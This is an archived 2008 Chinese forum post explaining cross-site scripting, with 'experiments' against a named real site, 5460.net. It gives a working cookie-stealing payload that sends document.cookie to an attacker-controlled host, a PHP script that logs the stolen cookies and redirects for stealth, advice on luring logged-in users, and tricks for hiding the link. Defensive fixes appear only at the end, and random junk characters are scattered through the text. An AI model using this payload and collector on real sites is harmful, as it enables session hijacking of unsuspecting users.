跨站脚本执行漏洞详解(页 1) - 电脑综合区 - 我爱电脑技术论坛打造最好的电脑自学交流论坛

tianshiren 发表于 2008-6-3 10:55

跨站脚本执行漏洞详解

跨站脚本执行漏洞详解 o I0Z2j|}2[T
【漏洞成因】
原因很简单，就是因为CGI程序没有对用户提交的变量中的HTML代码进行过滤或转换。!^WHM&Gr%w7F!{
【漏洞形式】$E#Ir h(L
这里所说的形式，实际上是指CGI输入的形式，主要分为两种：@;h+{N5fw9]0_ B
1．显示输入
2．隐式输入
其中显示输入明确要求用户输入数据，而隐式输入则本来并不要求用户输入数据，但是用户却可以通过输入数据来进行干涉。QxU!n [U0Shd
显示输入又可以分为两种：
1．输入完成立刻输出结果
2．输入完成先存储在文本文件或数据库中，然后再输出结果
注意：后者可能会让你的网站面目全非！：
而隐式输入除了一些正常的情况外，还可以利用服务器或CGI程序处理错误信息的方式来实施。

【漏洞危害】
大家最关心的大概就要算这个问题了，下面列举的可能并不全面，也不系统，但是我想应该是比较典型的吧。:LC1dMN S(ZF
1．获取其他用户Cookie中的敏感数据Gq.xXH
2．屏蔽页面特定信息
3．伪造页面信息mXgnh;W:n
4．拒绝服务攻击 k)|^g xv'I
5．突破外网内网不同安全设置{d n#M`;g_C#q?
6．与其它漏洞结合，修改系统设置，查看系统文件，执行系统命令等ex&V#]-a3s
7．其它
一般来说，上面的危害还经常伴随着页面变形的情况。而所谓跨站脚本执行漏洞，也就是通过别人的网站达到攻击的效果，也就是说，这种攻击能在一定程度上隐藏身份。:Kze4P-JHE

【利用方式】y`/j5b*\-Y"U
下面我们将通过具体例子来演示上面的各种危害，这样应该更能说明问题，而且更易于理解。为了条理更清晰一些，我们将针对每种危害做一个实验。
为了做好这些实验，我们需要一个抓包软件，我使用的是Iris，当然你可以选择其它的软件，比如NetXray什么的。至于具体的使用方法，请参考相关帮助或手册。
另外，需要明白的一点就是：只要服务器返回用户提交的信息，就可能存在跨站脚本执行漏洞。
好的，一切就绪，我们开始做实验！：）[hb&a6|!Qa$J;@ w
5XZ;}T };K
实验一：获取其他用户Cookie中的敏感信息O0SDlVU,].}
我们以国内著名的同学录站点5460.net为例来说明一下，请按照下面的步骤进行：
1．进入首页[url]http://www.5460.net/[/url]:z,p-k S\ O#K w
2．输入用户名"<h1>"，提交，发现服务器返回信息中包含了用户提交的"<h1>"。z8{'oH&v+S Wid
3．分析抓包数据，得到实际请求：
[url]http://www.5460.net/txl/login/login.pl?username=[/url]<h1>&passwd=&ok.x=28&ok.y=6b p^4gB LD
4．构造一个提交，目标是能够显示用户Cookie信息：%Qrq6v:L ]dk`
[url]http://www.5460.net/txl/login/login.pl?username=[/url]<script>alert(documents.cookie)</script>&passwd=&ok.x=28&ok.y=6
5．如果上面的请求获得预期的效果，那么我们就可以尝试下面的请求：
[url]http://www.5460.net/txl/login/login.pl?username=[/url]<script>window.open("http://www.notfound.org/info.php?"%2Bdocuments.cookie)</script>&passwd=&ok.x=28&ok.y=6(R!G(y2cPH!N2oq
其中[url]http://www.notfound.org/info.php[/url]是你能够控制的某台主机上的一个脚本，功能是获取查询字符串的信息，内容如下：X,Ux#V1CY
<?php
$info = getenv("QUERY_STRING");
if ($info) {E'F7rF0s7`Gi%ZZ
$fp = fopen("info.txt","a");6v+g8Ypc.w7T
fwrite($fp,$info."\n");h ?"B2q!WT8f%{z*u
fclose($fp);
}
header("Location: [url]http://www.5460.net[/url]");
注："%2B"为"+"的URL编码，并且这里只能用"%2B"，因为"+"将被作为空格处理。后面的header语句则纯粹是为了增加隐蔽性。
6．如果上面的URL能够正确运行的话，下一步就是诱使登陆5460.net的用户访问该URL，而我们就可以获取该用户Cookie中的敏感信息。
7．后面要做什么就由你决定吧！

实验二：屏蔽页面特定信息
我们仍然以5460.net作为例子，下面是一个有问题的CGI程序：
[url]http://www.5460.net/txl/liuyan/liuyanSql.pl[/url]Es\ jn \
该CGI程序接受用户提供的三个变量，即nId，csId和cName，但是没有对用户提交的cName变量进行任何检查，而且该CGI程序把cName的值作为输出页面的一部分，5460.net的用户应该都比较清楚留言右下角有你的名字，对吧？
既然有了上面的种种条件，我们可以不妨作出下面的结论：
某个用户可以"屏蔽"其两次留言之间的所有留言！
当然，我们说的"屏蔽"不是"删除"，用户的留言还是存在的，只不过由于HTML的特性，我们无法从页面看到，当然如果你喜欢查看源代码的话就没有什么用处了，但是除了我们这些研究CGI安全的人来说，有多少人有事没事都看HTML源代码？U2\'E6f C/x
由于种种原因，我在这里就不公布具体的细节了，大家知道原理就好了。
注：仔细想想，我们不仅能屏蔽留言，还能匿名留言，Right？ nJ8mQ Y8qd-n'o!A O
y|^q v [%M4|
实验三：伪造页面信息
如果你理解了上面那个实验，这个实验就没有必要做了，基本原理相同，只是实现起来稍微麻烦一点而已。8r jq5y3Q

实验四：拒绝服务攻击
现在应该知道，我们在某种程度上可以控制存在跨站脚本执行漏洞的服务器的行为，既然这样，我们就可以控制服务器进行某种消耗资源的动作。比如说运行包含死循环或打开无穷多个窗口的javascript脚本等等。这样访问该URL的用户系统就可能因此速度变慢甚至崩溃。同样，我们也可能在其中嵌入一些脚本，让该服务器请求其它服务器上的资源，如果访问的资源比较消耗资源，并且访问人数比较多的话，那么被访问的服务器也可能被拒绝服务，而它则认为该拒绝服务攻击是由访问它的服务器发起的，这样就可以隐藏身份。8g AU3DU0\1Lik

实验五：突破外网内网不同安全设置
这个应该很好理解吧，一般来说我们的浏览器对不同的区域设置了不同的安全级别。举例来说，对于Internet区域，可能你不允许javascript执行，而在Intranet区域，你就允许javascript执行。一般来说，前者的安全级别都要高于后者。这样，一般情况下别人无法通过执行恶意javascript脚本对你进行攻击，但是如果与你处于相同内网的服务器存在跨站脚本执行漏洞，那么攻击者就有机可乘了，因为该服务器位于Intranet区域。
2Y"TFtd
实验六：与其它漏洞结合，修改系统设置，查看系统文件，执行系统命令等(@/kPWX
由于与浏览器相关的漏洞太多了，所以可与跨站脚本执行漏洞一起结合的漏洞也就显得不少。我想这些问题大家都应该很清楚吧，前些时间的修改IE标题漏洞，错误MIME类型执行命令漏洞，还有多种多样的蠕虫，都是很好的例子。
更多的例子请参考下列链接：+|en%x.b1CU3BEz
Internet Explorer Pop-Up OBJECT Tag Bug5i(\]T1D/H VQ
[url]http://archives.neohapsis.com/archives/bugtraq/2002-01/0167.html[/url]
Internet Explorer javascript Modeless Popup Local Denial of Service Vulnerability
[url]http://archives.neohapsis.com/archives/bugtraq/2002-01/0058.html[/url]
MSIE6 can read local files
[url]http://www.xs4all.nl/~jkuperus/bug.htm[/url];I%ivZ%QO
MSIE may download and run progams automatically
[url]http://archives.neohapsis.com/archives/bugtraq/2001-12/0143.html[/url]nmFvs{,S
File extensions spoofable in MSIE download dialog&@#o)I*q4ouj7I;V
[url]http://archives.neohapsis.com/archives/bugtraq/2001-11/0203.html[/url]
the other IE cookie stealing bug (MS01-055)
[url]http://archives.neohapsis.com/archives/bugtraq/2001-11/0106.html[/url],?e{o,y*E&W X
Microsoft Security Bulletin MS01-055O9X)q7^[4gY
[url]http://archives.neohapsis.com/archives/bugtraq/2001-11/0048.html[/url]$ka?5ar/zs}
Serious security Flaw in Microsoft Internet Explorer - Zone Spoofing
[url]http://archives.neohapsis.com/archives/bugtraq/2001-10/0075.html[/url]
Incorrect MIME Header Can Cause IE to Execute E-mail Attachment6cH c7U^']@2DE
[url]http://www.kriptopolis.com/cua/eml.html[/url]
VzF"N|Y
跨站脚本执行漏洞在这里的角色就是隐藏真正攻击者的身份。
Z|ow.L B
实验七：其它
其实这类问题和跨站脚本执行漏洞没有多大关系，但是在这里提一下还是很有必要的。问题的实质还是CGI程序没有过滤用户提交的数据，然后进行了输出处理。举个例子来说，支持SSI的服务器上的CGI程序输出了用户提交的数据，无论该数据是采取何种方式输入，都可能导致SSI指令的执行。当然，这是在服务端，而不是客户端执行。其实像ASP，PHP和Perl等CGI语言都可能导致这种问题。
k"~bLEI3[0n9`0I
【隐藏技巧】CF0FO2Ow&cz
出于时间的考虑，我在这里将主要讲一下理论了，相信不是很难懂，如果实在有问题，那么去找本书看吧。S;\ E`*mwV
1． URL编码
比较一下：,fg;sF4DV
[url]http://www.5460.net/txl/login/login.pl?username=[/url]<h1>&passwd=&ok.x=28&ok.y=6
[url]http://www.5460.net/txl/login/lo[/url] ... mp;ok.x=28&ok.y＝6sR7ly)D|&k
你觉得哪个更有隐蔽性？！

2．隐藏在其它对象之下
与直接给别人一个链接相比，你是否决定把该链接隐藏在按钮以下更好些呢？
Jc1ltKA{&jZ:Q
3．嵌入页面中se!K g|Dgu
让别人访问一个地址（注意这里的地址不同于上面提到的URL），是不是又要比让别人按一个按钮容易得多，借助于Iframe，你可以把这种攻击变得更隐蔽。

4．合理利用事件
合理使用事件，在某些情况上可以绕过CGI程序对输入的限制，比如说前些日子的SecurityFocus的跨站脚本执行漏洞。
o0C x uoJ8^_7Q&S Nj
【注意事项】Zhg4};g"Y;?%U
一般情况下直接进行类似<script>alert(documents.cookie)</script>之类的攻击没有什么问题，但是有时CGI程序对用户的输入进行了一些处理，比如说包含在''或""之内，这时我们就需要使用一些小技巧来绕过这些限制。
如果你对HTML语言比较熟悉的话，绕过这些限制应该不成问题。
&Vx7uS5M;J ~
【解决方法】
要避免受到跨站脚本执行漏洞的攻击，需要程序员和用户两方面共同努力：VC6KG:]r(Ny1I_t
程序员：k^K6?W%j5f
1．过滤或转换用户提交数据中的HTML代码RK'|9FDR[a2j
2．限制用户提交数据的长度&Hcg)d+~,A}

用户：
1．不要轻易访问别人给你的链接
2．禁止浏览器运行javascript和ActiveX代码
Q0j8V7BI^
附：常见浏览器修改设置的位置为：
Internet Explorer：
工具->Internet选项->安全->Internet->自定义级别
工具->Internet选项->安全->Intranet->自定义级别*k4\4?F&L xZ)ja
Opera：
文件->快速参数->允许使用Java
文件->快速参数->允许使用插件
文件->快速参数->允许使用javascriptf6?3q*to;aa

【常见问题】
Q：跨站脚本执行漏洞在哪里存在？&W3Q9| ~:h ?:T
A：只要是CGI程序，只要允许用户输入，就可能存在跨站脚本执行漏洞。

Q：跨站脚本执行漏洞是不是只能偷别人的Cookie？
A：当然不是！HTML代码能做的，跨站脚本执行漏洞基本都能做。

页: [1]

我爱电脑技术论坛's Archiver

跨站脚本执行漏洞详解